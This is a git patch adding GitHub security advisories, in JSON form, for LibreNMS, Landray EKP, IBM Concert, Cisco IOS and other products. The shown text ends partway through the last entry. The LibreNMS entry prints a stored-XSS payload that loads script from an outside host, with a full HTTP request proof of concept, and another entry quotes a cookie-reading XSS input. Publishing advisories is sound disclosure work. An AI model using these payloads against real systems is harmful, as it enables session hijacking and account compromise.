From 84dd262ad3ea9d859dbd142f433a8c5e886b1322 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 15 Nov 2024 15:31:20 +0000
Subject: [PATCH] Publish Advisories

GHSA-xh4g-c9p6-5jxg
GHSA-8cj2-jg77-qj2p
GHSA-2vhg-q6f6-xjf6
GHSA-3qf8-q2rg-6p4p
GHSA-3xmf-m2fg-h94r
GHSA-5g3c-2wf5-mp5m
GHSA-94hw-5cx8-g994
GHSA-f66q-6w2p-6p69
GHSA-fh6c-pmq3-8xp2
GHSA-fpgf-f3hj-fcgm
GHSA-g9gm-jgpx-56qm
GHSA-h8rg-j4g6-9v99
GHSA-hmmh-8x85-6jmh
GHSA-q79q-mvw6-5crr
GHSA-rhfh-m68w-rv9h
---
 .../GHSA-xh4g-c9p6-5jxg.json                  | 64 +++++++++++++++++++
 .../GHSA-8cj2-jg77-qj2p.json                  |  3 +-
 .../GHSA-2vhg-q6f6-xjf6.json                  | 54 ++++++++++++++++
 .../GHSA-3qf8-q2rg-6p4p.json                  | 38 +++++++++++
 .../GHSA-3xmf-m2fg-h94r.json                  | 38 +++++++++++
 .../GHSA-5g3c-2wf5-mp5m.json                  | 38 +++++++++++
 .../GHSA-94hw-5cx8-g994.json                  | 43 +++++++++++++
 .../GHSA-f66q-6w2p-6p69.json                  | 54 ++++++++++++++++
 .../GHSA-fh6c-pmq3-8xp2.json                  | 62 ++++++++++++++++++
 .../GHSA-fpgf-f3hj-fcgm.json                  | 54 ++++++++++++++++
 .../GHSA-g9gm-jgpx-56qm.json                  | 38 +++++++++++
 .../GHSA-h8rg-j4g6-9v99.json                  | 39 +++++++++++
 .../GHSA-hmmh-8x85-6jmh.json                  | 58 +++++++++++++++++
 .../GHSA-q79q-mvw6-5crr.json                  | 54 ++++++++++++++++
 .../GHSA-rhfh-m68w-rv9h.json                  | 38 +++++++++++
 15 files changed, 674 insertions(+), 1 deletion(-)
 create mode 100644 advisories/github-reviewed/2024/11/GHSA-xh4g-c9p6-5jxg/GHSA-xh4g-c9p6-5jxg.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-2vhg-q6f6-xjf6/GHSA-2vhg-q6f6-xjf6.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-3qf8-q2rg-6p4p/GHSA-3qf8-q2rg-6p4p.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-3xmf-m2fg-h94r/GHSA-3xmf-m2fg-h94r.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-5g3c-2wf5-mp5m/GHSA-5g3c-2wf5-mp5m.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-94hw-5cx8-g994/GHSA-94hw-5cx8-g994.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-f66q-6w2p-6p69/GHSA-f66q-6w2p-6p69.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-fh6c-pmq3-8xp2/GHSA-fh6c-pmq3-8xp2.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-fpgf-f3hj-fcgm/GHSA-fpgf-f3hj-fcgm.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-g9gm-jgpx-56qm/GHSA-g9gm-jgpx-56qm.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-h8rg-j4g6-9v99/GHSA-h8rg-j4g6-9v99.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-hmmh-8x85-6jmh/GHSA-hmmh-8x85-6jmh.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-q79q-mvw6-5crr/GHSA-q79q-mvw6-5crr.json
 create mode 100644 advisories/unreviewed/2024/11/GHSA-rhfh-m68w-rv9h/GHSA-rhfh-m68w-rv9h.json

diff --git a/advisories/github-reviewed/2024/11/GHSA-xh4g-c9p6-5jxg/GHSA-xh4g-c9p6-5jxg.json b/advisories/github-reviewed/2024/11/GHSA-xh4g-c9p6-5jxg/GHSA-xh4g-c9p6-5jxg.json
new file mode 100644
index 00000000000..f742f19142b
--- /dev/null
+++ b/advisories/github-reviewed/2024/11/GHSA-xh4g-c9p6-5jxg/GHSA-xh4g-c9p6-5jxg.json
@@ -0,0 +1,64 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-xh4g-c9p6-5jxg",
+  "modified": "2024-11-15T15:30:05Z",
+  "published": "2024-11-15T15:30:05Z",
+  "aliases": [
+    "CVE-2024-50350"
+  ],
+  "summary": "LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php",
+  "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"name\" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the \"Port Settings\" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.\n\n### Details\nWhen creating a new \"Port Group,\" an attacker can inject the following XSS payload into the \"name\" parameter:\n```<script/src=//15.rs></script>```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers when the affected Port Group is added to a device and the \"Port Settings\" page is reloaded. The vulnerability is due to insufficient sanitization of the \"name\" parameter. The sink responsible for this issue is:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69\n\n### PoC\n1. Create a new Port Group using the following payload in the \"name\" parameter:\n```name<script/src=//15.rs></script>```\n2. Add the Port Group to a device's port settings.\n3. Reload the \"Port Settings\" page.\n4. Observe that the injected script executes.\n\nExample Request:\n```http\nPOST /port-groups HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded\nCookie: <your_cookie>\n\n_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the \"Port Settings\" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Packagist",
+        "name": "librenms/librenms"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "24.10.0"
+            }
+          ]
+        }
+      ],
+      "database_specific": {
+        "last_known_affected_version_range": "<= 24.9.1"
+      }
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-xh4g-c9p6-5jxg"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/librenms/librenms"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-79"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-11-15T15:30:05Z",
+    "nvd_published_at": null
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2022/05/GHSA-8cj2-jg77-qj2p/GHSA-8cj2-jg77-qj2p.json b/advisories/unreviewed/2022/05/GHSA-8cj2-jg77-qj2p/GHSA-8cj2-jg77-qj2p.json
index 5e08223f2d0..d1fe37f73a4 100644
--- a/advisories/unreviewed/2022/05/GHSA-8cj2-jg77-qj2p/GHSA-8cj2-jg77-qj2p.json
+++ b/advisories/unreviewed/2022/05/GHSA-8cj2-jg77-qj2p/GHSA-8cj2-jg77-qj2p.json
@@ -36,7 +36,8 @@
   ],
   "database_specific": {
     "cwe_ids": [
-      "CWE-20"
+      "CWE-20",
+      "CWE-347"
     ],
     "severity": "HIGH",
     "github_reviewed": false,
diff --git a/advisories/unreviewed/2024/11/GHSA-2vhg-q6f6-xjf6/GHSA-2vhg-q6f6-xjf6.json b/advisories/unreviewed/2024/11/GHSA-2vhg-q6f6-xjf6/GHSA-2vhg-q6f6-xjf6.json
new file mode 100644
index 00000000000..dcc8cdee902
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-2vhg-q6f6-xjf6/GHSA-2vhg-q6f6-xjf6.json
@@ -0,0 +1,54 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-2vhg-q6f6-xjf6",
+  "modified": "2024-11-15T15:30:56Z",
+  "published": "2024-11-15T15:30:56Z",
+  "aliases": [
+    "CVE-2024-11238"
+  ],
+  "details": "A vulnerability, which was classified as critical, was found in Landray EKP up to 16.0. This affects the function delPreviewFile of the file /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile. The manipulation of the argument directoryPath leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11238"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/CoinIsMoney/TempGuide/blob/main/LL-exp-02.pdf"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.284673"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.284673"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.438291"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-22"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T13:15:03Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-3qf8-q2rg-6p4p/GHSA-3qf8-q2rg-6p4p.json b/advisories/unreviewed/2024/11/GHSA-3qf8-q2rg-6p4p/GHSA-3qf8-q2rg-6p4p.json
new file mode 100644
index 00000000000..981b92999d5
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-3qf8-q2rg-6p4p/GHSA-3qf8-q2rg-6p4p.json
@@ -0,0 +1,38 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-3qf8-q2rg-6p4p",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-41785"
+  ],
+  "details": "IBM Concert Software 1.0.0 through 1.0.1 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41785"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.ibm.com/support/pages/node/7173596"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-79"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:07Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-3xmf-m2fg-h94r/GHSA-3xmf-m2fg-h94r.json b/advisories/unreviewed/2024/11/GHSA-3xmf-m2fg-h94r/GHSA-3xmf-m2fg-h94r.json
new file mode 100644
index 00000000000..a4df7d927da
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-3xmf-m2fg-h94r/GHSA-3xmf-m2fg-h94r.json
@@ -0,0 +1,38 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-3xmf-m2fg-h94r",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-20373"
+  ],
+  "details": "A vulnerability in the implementation of the Simple Network Management Protocol (SNMP) IPv4 access control list (ACL) feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to perform SNMP polling of an affected device, even if it is configured to deny SNMP traffic.&nbsp;\n\nThis vulnerability exists because Cisco IOS Software and Cisco IOS XE Software do not support extended IPv4 ACLs for SNMP, but they do allow administrators to configure extended named IPv4 ACLs that are attached to the SNMP server configuration without a warning message. This can result in no ACL being applied to the SNMP listening process. An attacker could exploit this vulnerability by performing SNMP polling of an affected device. A successful exploit could allow the attacker to perform SNMP operations that should be denied. The attacker has no control of the SNMP ACL configuration and would still need a valid SNMP version 2c (SNMPv2c) community string or SNMP version 3 (SNMPv3) user credentials.\nSNMP with IPv6 ACL configurations is not affected.\nFor more information, see the  section of this advisory.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20373"
+    },
+    {
+      "type": "WEB",
+      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snmp-uwBXfqww"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-284"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:06Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-5g3c-2wf5-mp5m/GHSA-5g3c-2wf5-mp5m.json b/advisories/unreviewed/2024/11/GHSA-5g3c-2wf5-mp5m/GHSA-5g3c-2wf5-mp5m.json
new file mode 100644
index 00000000000..f6e868d78f0
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-5g3c-2wf5-mp5m/GHSA-5g3c-2wf5-mp5m.json
@@ -0,0 +1,38 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-5g3c-2wf5-mp5m",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-43189"
+  ],
+  "details": "IBM Concert Software 1.0.0 through 1.0.1 could allow a remote attacker to obtain sensitive information, caused by the failure to properly enable HTTP Strict Transport Security. An attacker could exploit this vulnerability to obtain sensitive information using man in the middle techniques.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43189"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.ibm.com/support/pages/node/7173596"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-327"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:07Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-94hw-5cx8-g994/GHSA-94hw-5cx8-g994.json b/advisories/unreviewed/2024/11/GHSA-94hw-5cx8-g994/GHSA-94hw-5cx8-g994.json
new file mode 100644
index 00000000000..fa43ef5e502
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-94hw-5cx8-g994/GHSA-94hw-5cx8-g994.json
@@ -0,0 +1,43 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-94hw-5cx8-g994",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-50986"
+  ],
+  "details": "An issue in Clementine v.1.3.1 allows a local attacker to execute arbitrary code via a crafted DLL file.",
+  "severity": [
+
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50986"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/clementine-player/Clementine"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/riftsandroses/CVE-2024-50986"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.clementine-player.org"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+
+    ],
+    "severity": null,
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:07Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-f66q-6w2p-6p69/GHSA-f66q-6w2p-6p69.json b/advisories/unreviewed/2024/11/GHSA-f66q-6w2p-6p69/GHSA-f66q-6w2p-6p69.json
new file mode 100644
index 00000000000..f5271696abb
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-f66q-6w2p-6p69/GHSA-f66q-6w2p-6p69.json
@@ -0,0 +1,54 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-f66q-6w2p-6p69",
+  "modified": "2024-11-15T15:30:57Z",
+  "published": "2024-11-15T15:30:57Z",
+  "aliases": [
+    "CVE-2024-11240"
+  ],
+  "details": "A vulnerability was found in IBPhoenix ibWebAdmin up to 1.0.2 and classified as problematic. This issue affects some unknown processing of the file /database.php of the component Banco de Dados Tab. The manipulation of the argument db_login_role leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11240"
+    },
+    {
+      "type": "WEB",
+      "url": "https://docs.google.com/document/d/1_kk14QhqJuqMGzAD_SUlOSvCGwYdeF4gI8m7mVTPBAQ/edit?usp=sharing"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.284675"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.284675"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.438471"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-79"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T14:15:19Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-fh6c-pmq3-8xp2/GHSA-fh6c-pmq3-8xp2.json b/advisories/unreviewed/2024/11/GHSA-fh6c-pmq3-8xp2/GHSA-fh6c-pmq3-8xp2.json
new file mode 100644
index 00000000000..8af88213bbd
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-fh6c-pmq3-8xp2/GHSA-fh6c-pmq3-8xp2.json
@@ -0,0 +1,62 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-fh6c-pmq3-8xp2",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-11243"
+  ],
+  "details": "A vulnerability classified as problematic has been found in code-projects Online Shop Store 1.0. This affects an unknown part of the file /signup.php. The manipulation of the argument m2 with the input <svg%20onload=alert(document.cookie)> leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11243"
+    },
+    {
+      "type": "WEB",
+      "url": "https://code-projects.org"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/sh3rl0ckpggp/0day/blob/main/code-projects_online-shop_CrossSiteScripting.md"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.284679"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.284679"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.442075"
+    },
+    {
+      "type": "WEB",
+      "url": "https://youtu.be/QThAqddl5Dk"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-79"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:06Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-fpgf-f3hj-fcgm/GHSA-fpgf-f3hj-fcgm.json b/advisories/unreviewed/2024/11/GHSA-fpgf-f3hj-fcgm/GHSA-fpgf-f3hj-fcgm.json
new file mode 100644
index 00000000000..c18babbc1f6
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-fpgf-f3hj-fcgm/GHSA-fpgf-f3hj-fcgm.json
@@ -0,0 +1,54 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-fpgf-f3hj-fcgm",
+  "modified": "2024-11-15T15:30:57Z",
+  "published": "2024-11-15T15:30:57Z",
+  "aliases": [
+    "CVE-2024-11239"
+  ],
+  "details": "A vulnerability has been found in Landray EKP up to 16.0 and classified as critical. This vulnerability affects the function deleteFile of the file /sys/common/import.do?method=deleteFile of the component API Interface. The manipulation of the argument folder leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11239"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/CoinIsMoney/TempGuide/blob/main/LL-exp-03.pdf"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?ctiid.284674"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?id.284674"
+    },
+    {
+      "type": "WEB",
+      "url": "https://vuldb.com/?submit.438784"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-22"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T14:15:19Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-g9gm-jgpx-56qm/GHSA-g9gm-jgpx-56qm.json b/advisories/unreviewed/2024/11/GHSA-g9gm-jgpx-56qm/GHSA-g9gm-jgpx-56qm.json
new file mode 100644
index 00000000000..e0e2686c063
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-g9gm-jgpx-56qm/GHSA-g9gm-jgpx-56qm.json
@@ -0,0 +1,38 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-g9gm-jgpx-56qm",
+  "modified": "2024-11-15T15:30:57Z",
+  "published": "2024-11-15T15:30:57Z",
+  "aliases": [
+    "CVE-2023-20154"
+  ],
+  "details": "A vulnerability in the external authentication mechanism of Cisco Modeling Labs could allow an unauthenticated, remote attacker to access the web interface with administrative privileges.\n\nThis vulnerability is due to the improper handling of certain messages that are returned by the associated external authentication server. An attacker could exploit this vulnerability by logging in to the web interface of an affected server. Under certain conditions, the authentication mechanism would be bypassed and the attacker would be logged in as an administrator. A successful exploit could allow the attacker to obtain administrative privileges on the web interface of an affected server, including the ability to access and modify every simulation and all user-created data. To exploit this vulnerability, the attacker would need valid user credentials that are stored on the associated external authentication server.\nCisco has released software updates that address this vulnerability. There are workarounds that address this vulnerability.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20154"
+    },
+    {
+      "type": "WEB",
+      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-auth-bypass-4fUCCeG5"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-305"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:05Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-h8rg-j4g6-9v99/GHSA-h8rg-j4g6-9v99.json b/advisories/unreviewed/2024/11/GHSA-h8rg-j4g6-9v99/GHSA-h8rg-j4g6-9v99.json
new file mode 100644
index 00000000000..a7c920ad7ad
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-h8rg-j4g6-9v99/GHSA-h8rg-j4g6-9v99.json
@@ -0,0 +1,39 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-h8rg-j4g6-9v99",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-48068"
+  ],
+  "details": "A cross-site scripting (XSS) vulnerability in Shenzhen Landray Software Co.,LTD Landray EKP v16 and earlier allows attackers to execute arbitrary web scripts or HTML via a crafted payload.",
+  "severity": [
+
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48068"
+    },
+    {
+      "type": "WEB",
+      "url": "https://gist.github.com/CoinIsMoney/3448ba7c3e0cf01c3cbc6e2ab280d3c3"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.landray.com.cn"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+
+    ],
+    "severity": null,
+    "github_reviewed": false,
+    "github_reviewed_at": null,
+    "nvd_published_at": "2024-11-15T15:15:07Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2024/11/GHSA-hmmh-8x85-6jmh/GHSA-hmmh-8x85-6jmh.json b/advisories/unreviewed/2024/11/GHSA-hmmh-8x85-6jmh/GHSA-hmmh-8x85-6jmh.json
new file mode 100644
index 00000000000..6c6bedfee8d
--- /dev/null
+++ b/advisories/unreviewed/2024/11/GHSA-hmmh-8x85-6jmh/GHSA-hmmh-8x85-6jmh.json
@@ -0,0 +1,58 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-hmmh-8x85-6jmh",
+  "modified": "2024-11-15T15:30:58Z",
+  "published": "2024-11-15T15:30:58Z",
+  "aliases": [
+    "CVE-2024-11241"
+  ],
+  "details": "A vulnerability was found in code-projects Job Recruitment 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file reset.php. The manipulation of the argument e leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+    }
+  ],
+  "affected": [
+
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
